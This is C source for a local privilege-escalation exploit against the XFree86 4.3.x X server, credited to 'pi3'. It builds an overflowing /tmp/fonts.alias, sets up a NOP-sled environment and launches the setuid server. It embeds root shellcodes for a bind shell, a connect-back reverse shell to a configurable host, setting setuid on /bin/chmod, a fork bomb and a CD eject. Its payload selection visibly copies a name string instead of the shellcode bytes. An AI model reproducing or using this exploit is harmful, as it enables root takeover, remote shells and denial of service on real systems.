/*
 * Exploit for Xfree version 4.3.x by pi3 (pi3ki31ny)
 * Bug founded by Greg MacManus (iDEFENSE Labs)
 * The post in bugtraq:
 * http://securityfocus.com/archive/1/353692
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/X11R6/bin/XFree86"
#define BUFS 1200

#define IPADDR          "\x01\x00\x00\x7f"
#define PORT            "\x27\x10"

char shellcode1[] = 

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/*    bindshell    */

/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xd2"                      // xorl    %edx,%edx
"\xb0\x66"                      // movb    $0x66,%al
"\xb3\x01"                      // movb    $0x1,%bl
"\x51"                          // pushl   %ecx
"\xb1\x06"                      // movb    $0x6,%cl
"\x51"                          // pushl   %ecx
"\xb1\x01"                      // movb    $0x1,%cl
"\x51"                          // pushl   %ecx
"\xb1\x02"                      // movb    $0x2,%cl
"\x51"                          // pushl   %ecx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xcd\x80"                      // int     $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                      // movb    $0x2,%bl
"\xb1\x02"                      // movb    $0x2,%cl
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"                  // addb    $0x77,%cl
"\x66\x51"                      // pushl   %cx
"\xb1\x02"                      // movb    $0x2,%cl
"\x66\x51"                      // pushw   %cx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb2\x10"                      // movb    $0x10,%dl
"\x52"                          // pushl   %edx
"\x51"                          // pushl   %ecx
"\x50"                          // pushl   %eax
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x89\xc2"                      // movl    %eax,%edx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* listen(fd, 1) */
"\xb3\x01"                      // movb    $0x1,%bl
"\x53"                          // pushl   %ebx
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\x80\xc3\x03"                  // addb    $0x3,%bl
"\xcd\x80"                      // int     $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x50"                          // pushl   %eax
"\x50"                          // pushl   %eax
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb3\x05"                      // movl    $0x5,%bl
"\xb0\x66"                      // movl    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 0) */
"\x89\xc3"                      // movl    %eax,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 1) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movl    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 2) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x0b"                      // movb    $0xb,%al
"\xcd\x80"                      // int     $0x80

/* exit(%ebx) */
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x01"                      // movb    $0x1,%al
"\xcd\x80"                     // int     $0x80

/*    exit(0)      */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

char shellcode2[] =

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* connect back shellcode */

   "\x31\xdb"                   // xor     ebx, ebx
   "\xf7\xe3"                   // mul     ebx
   "\xb0\x66"                   // mov     al, 102
   "\x53"                       // push    ebx
   "\x43"                       // inc     ebx
   "\x53"                       // push    ebx
   "\x43"                       // inc     ebx
   "\x53"                       // push    ebx
   "\x89\xe1"                   // mov     ecx, esp
   "\x4b"                       // dec     ebx
   "\xcd\x80"                   // int     80h
   "\x89\xc7"                   // mov     edi, eax
   "\x68\x7f"IPADDR             // push    dword IPADDR
   "\x66\x68"PORT               // push    word PORT
   "\x43"                       // inc     ebx
   "\x66\x53"                   // push    bx
   "\x89\xe6"                   // mov     esi, esp
   "\xb0\x10"                   // mov     al, 16
   "\x50"                       // push    eax
   "\x56"                       // push    esi
   "\x57"                       // push    edi
   "\x89\xe1"                   // mov     ecx, esp
   "\x43"                       // inc     ebx
   "\xb0\x66"                   // mov     al, 102
   "\xcd\x80"                   // int     80h
   "\x89\xd9"                   // mov     ecx, ebx
   "\x89\xfb"                   // mov     ebx, edi
   "\xb0\x3f"                   // mov     al, 63
   "\x49"                       // dec     ecx
   "\xcd\x80"                   // int     80h
   "\x41"                       // inc     ecx
   "\xe2\xf8"                   // loop    duploop
   "\x51"                       // push    ecx
   "\x68\x6e\x2f\x73\x68"       // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"       // push    dword 69622f2fh
   "\x89\xe3"                   // mov     ebx, esp
   "\x51"                       // push    ecx
   "\x53"                       // push    ebx
   "\x89\xe1"                   // mov     ecx, esp
   "\xb0\x0b"                   // mov     al, 11
   "\xcd\x80"                   // int     80h

/*    exit(0)      */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

char shellcode3[] =

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* chmod("/bin/chmod", 04777) */

                   "\x31\xd2\x66\xb9\xff\x09\x52"
                   "\x68\x68\x6d\x6f\x64\x68\x6e\x2f\x2f\x63"
                   "\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0f\xcd\x80"

/*    exit(0)      */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
				      
char shellcode4[] =

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* fork bomb shellcode :) */

                   "\xb0\x02\xcd\x80\xeb\xfa"

/*    exit(0)      */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

char shellcode5[] =

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* eject /dev/cdrom */

  "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x23\x5e\x88"
  "\x56\x0a\x8d\x1e\xb0\x05\x66\xb9\x04\x08\x66\xba\x9a\x02\xcd\x80"
  "\x89\xc3\xb0\x36\x66\xb9\x09\x53\xcd\x80\x31\xc0\x31\xdb\x40\xcd"
  "\x80\xe8\xd8\xff\xff\xff/dev/cdrom"

/*    exit(0)      */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {
   
//   return (0xbffffffa-strlen(a1)-strlen(a2));
     return 0xbfffee01;
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ exploit for Xfree version 4.3.x (by pi3) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
	    -? <this help screen>
	    -o <offset>
            -s choose a shellcode:
                   1 - bindshell on port 30464
                   2 - connect back shellcode
                       (change in sploit defined IPADDR and PORT)
                   3 - do chmod 4777 /bin/chmod
                   4 - do fork bomb
                   5 - do eject /dev/cdrom :)

	    -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret,*buf_addr;
   char *buf,*path=PATH;
   static char *sh[0x02];
   char shellcod[100],envp[2049];
   int i,shell,opt,offset=0;
   FILE *fp;
   
   if (argv[1]==NULL)
      ussage(argv[0]);

   while((opt = getopt(argc,argv,"p:o:s:?")) != -1) {
	 switch(opt) {
	 	    
	  case 'o':

	    offset=atoi(optarg);
	    break;
	    
	  case 'p':
	    
	    path=optarg;
	    break;

          case 's':

            if (atoi(optarg) > 5 || atoi(optarg) < 1) {
               printf("Stupid!\n");
               exit(-1);
            }

            sprintf(shellcod,"shellcode%d",atoi(optarg));
            break;
	    
	  case '?':
	  default:
	    
	    ussage(argv[0]);
	    break;
	 }
   }
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   if (!(buf=(char*)malloc(BUFS))) {
      printf("\nI can\'t locate memory! - buf\n");
      exit(-1);
   }
   
   if ( (fp=fopen("/tmp/fonts.dir","w"))==NULL) {
      printf("\n*\tI can\'t open fonts file - /tmp/fonts.dir!\n\n");
      ussage(argv[0]);
   }

   fprintf(fp, "1\n\nword.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1\n\n");
   fclose(fp);

   if ( (fp=fopen("/tmp/fonts.alias","w"))==NULL) {
      printf("\n*\tI can\'t open fonts file - /tmp/fonts.alias!\n\n");
      ussage(argv[0]);
   }

   printf("\n\t...::: -=[ exploit for Xfree version 4.3.x (by pi3) ]=- :::...\n");
   printf("\n\t[+] Bulding buffors!\n");

   ret=ret_ad(shellcod,path);
   ret+=offset;
   memset(envp,0x90,sizeof(envp));
   for (i=0; i<strlen(shellcod); i++)   
       envp[2049-strlen(shellcod)+i] = shellcod[i];
   sh[0x00]=envp;
   sh[0x01]=NULL;
   
   printf("\t[+] Using adres 0x%x\n",ret);
   
   buf_addr=(long*)buf;
   
   for(i=0;i<BUFS;i+=4) {
    *(buf_addr)++ = ret;
   }

   fprintf(fp,"%s",buf);
   fclose(fp);

   printf("\nExecuting the vuln program - %s\n\n",path);
   
   execle(path, path, ":0", "-fp", "/tmp", 0, sh );
   
   return 0;
}
